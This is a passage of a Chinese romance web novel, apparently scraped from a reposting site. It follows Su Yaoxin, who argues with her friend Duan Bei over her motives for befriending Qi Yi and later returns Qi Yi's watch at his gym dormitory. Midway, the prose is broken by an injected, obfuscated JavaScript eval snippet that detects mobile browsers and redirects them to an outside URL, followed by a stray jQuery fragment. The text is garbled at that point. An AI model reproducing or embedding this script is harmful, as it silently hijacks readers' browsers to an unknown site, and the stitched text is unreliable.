小姐姐往这边看了眼,目光顿了顿,随即跟手机里的直播网友说:“宝宝们,今天好幸运,遇见一个超级养眼的小哥哥~身材超好!”
“啊?要看一看啊,”小姐姐又朝他们这边看了眼,摇摇头:“不行耶,小哥哥好像和女朋友一起,我过去让人家上镜不太礼貌……”
做直播小姐姐的声音不大,苏杳心却听见了,她不动声色瞄了一眼祁弈,见他神色散漫,单手插兜,低头在拿手机发消息,似乎没听见的样子。
排了一会儿,祁弈手机响了,他接听前,侧头看她,“我去接个电话。”
苏杳心点头。
等他离开没多久,身后忽然有人拍了她肩膀。
苏杳心回头,看见了段北。
还挺巧,她问:“你也来这吃饭?”
段北确认是她,又瞥了眼不远处在人少的地方打电话的祁弈。
“我和同学看电影,正要回家。”说完,段北随即问:“你怎么和他在一起?”
这店里有很多情侣在,大多成双成对的。
段北皱眉:“你和他,在约会?”
段北声音不小,咋咋呼呼的惹来很多目光,苏杳心叹气,先把段北拉开一点,然后跟在她身后排队被段北挤到的女孩子说声抱歉,“对不起。”
女孩子脾气很好,微笑忙摆摆手,“没事。”
苏杳心:“我想离开一小会儿,你可以帮我留着排队的位置吗,我很快就回来。”
女孩子:“可以的。”
“谢谢你。”苏杳心拉着段北,往一边没人的空位那边去。
“你小点声。”她说:“不是约会,我今天是来帮他一个忙,顺便吃个饭。”
段北:“他找你帮的忙?”
“对啊。”
段北不说话了,但脸色不好。
“……”苏杳心无奈:“你是我的朋友,他也是,我不能帮他的忙吗?”
而且她已经和段北说的很清楚了,一直都是她主动接近祁弈,她耐心问:“你为什么总因为他生气?”
段北脸色微怔,随即浮起几分别扭。
苏杳心实在不懂他在气什么。
还一直盯着她不说话。
半响,段北胸膛微微起伏了下,似叹气,“好,我可以不聊他,但是你要跟我保证。”
苏杳心:“保证什么?”
段北:“你说你接近祁弈,只是为了让叔叔阿姨从高考的焦虑上分心,既然是利用他,那你可别真的喜欢他了。”
“祁弈这人没你想的那么单纯,真谈恋爱的话,他如果对你不真心,你可玩不过他。”
段北带着警告的语气。
苏杳心目光平静。
且不说没有谈恋爱,凭苏杳心和祁弈的相处,她能真心感觉得到,祁弈这人很干净,且真诚。
一个人眼睛中的清澈与坦荡,是能瞧得出来。
苏杳心耐心道:“我没有理由跟你保证,但我能保证,我没有骗你。”
段北眉头紧锁,再度确认:“那你真的不喜欢祁弈?”
苏杳心:“我们只是朋友。”
段北没再多言,余光瞥见一道身影,目光一挪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658334|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看清人的瞬间却是一愣。
苏杳心也注意到,顺着段北视线看过去。
祁弈站在离他们三米之外。
他手拿着手机,耳朵里的耳机没摘,站在那里,好像已经看了她好一会儿。
苏杳心怔住了。
几乎是下意识,她担心祁弈有没有听见,如果听见了,在准备如何跟他坦白的那一刻,却发现祁弈神色是平静的。
下一刻,他摘掉耳机,缓缓朝她走来,目光轻飘飘地看了一眼段北,“这么巧。”
他把耳机线缠了两圈,揣进兜里,说完便低头,轻声问她:“我去排队,给段北也带一份吗?”
苏杳心盯着少年漆黑明亮的眼,动了动唇,没等出声,段北先答应:“好,那谢谢你了。”
祁弈抬起眼,“客气。”
他应该是没听见吧,不然怎么会不问一问呢。
虽然不需要坦白了,但苏杳心刚刚的紧张,却无法忽视。
回去排队点过餐,找到一个空桌,三人去到那边。
芒果糯米饭味道很好,香甜软糯,苏杳心却吃得心不在焉,段北不喜欢糯米,忍耐地吃着。
倒是祁弈看着胃口还行,吃得慢条斯理。
一顿饭吃完,苏杳心有心事,没意识到餐间过于安静的气氛。
从餐厅出来,她和段北准备一路回家,她站在十字路口,看向祁弈道别:“那我们走了。”
祁弈低眸,“嗯,下次见。”
苏杳心笑容温软:“再见。”
路边刚好来了一辆计程车,她坐上副驾驶。车子启动,一路开远,苏杳心从镜子里看见少年站在街边一直没走,高挑的身影在视野中,渐渐缩小。
直到看不见,她收回视线。
车外的风带着夏天的炎热,也让她心里的不安、抱歉,像夏天必然会到来的炎热一般,翻涌出来。
虽然一开始认识他的动机不纯粹,就算他介意,甚至生气,一想到祁弈已经跟她坦然的面对那条疤,她觉得,她对他也应该坦荡。
下次吧,下次见面她会告诉他的,好好解释清楚,希望他不要生气。
这么想着,苏杳心从包里拿出手机,原本是想发个微信,说一声糯米饭很好吃,下次她来请客。
却看见包里的那只黑色腕表。
计程车开进了一条隧道,无法掉头,等一出隧道,苏杳心便让司机找地方靠路边停车。
段北皱眉:“你干嘛?”
苏杳心解开安全带,“你先回家吧,祁弈的腕表忘还他了,我给他送过去。”
“你……”
话没说完,苏杳心便关门下了车,往路边不远处的地铁口走去。
……
二十分钟后,回到搏击馆俱乐部,在坐地铁时,她给祁弈发了微信。
不过他没回。
前台那边,翟迪正给两个想报名泰拳的男生登记,看见她,热情又惊喜地招呼:“这不是小苏同学,怎么又来啦?找阿弈?”
“嗯。”
苏杳心拿出那只镶钻的黑色腕表,“祁弈的表让我带走了,我来还给他。”
翟迪原本想说给他就行,话到嘴边,又笑道:“他在宿舍呢,你上二楼去找他就行。”
“就是二楼办公室那边,沿着走廊一直走,最里面那间,就是他的房间。”
苏杳心点了点头,“好,谢谢翟经理。”
“客气呢,小苏同学。”
苏杳心上到二楼,沿着走廊一直走,宿舍上面标着门牌号,最里面的一间是9号。
她停在门前,看样子是单人宿舍。
苏杳心抬手敲了两下门。
等了一会儿,门没开。
她又敲了敲,过几秒,门从里面打开。
没等说话,入目的一幕,却让她完全怔住。
少年刚洗过澡,黑发还滴着水,运动长裤子穿的规整,但上身的外套似随便套上的,而此时里面没穿。
目光中,是少年肌肉线条完美的身躯,劲瘦有力,锁骨还挂着水珠,还有余光她不敢向下看的腹肌。
尽数暴露在眼前。
祁弈也似愣住了,不过相比她的震惊,他很快反应过来,手就那么懒洋洋地搭在门把。
似盯非盯地看了她一会儿。
直到苏杳心不自然地开口说话:“……我是回来给你送手表的。”
说话间慌忙地,从包里拿出腕表递给他。
祁弈哦了声,却没接,空气中有好几秒的安静。
他再不接,苏杳心就要掩饰不住自己脸上的烫意,热到耳根了。
就在她要把表塞给他时,终于见祁弈缓缓抬起了手。
然而他却越过黑色腕表,坚定地握住了她手腕。
把人拉进了屋。
啪的一声,门关上。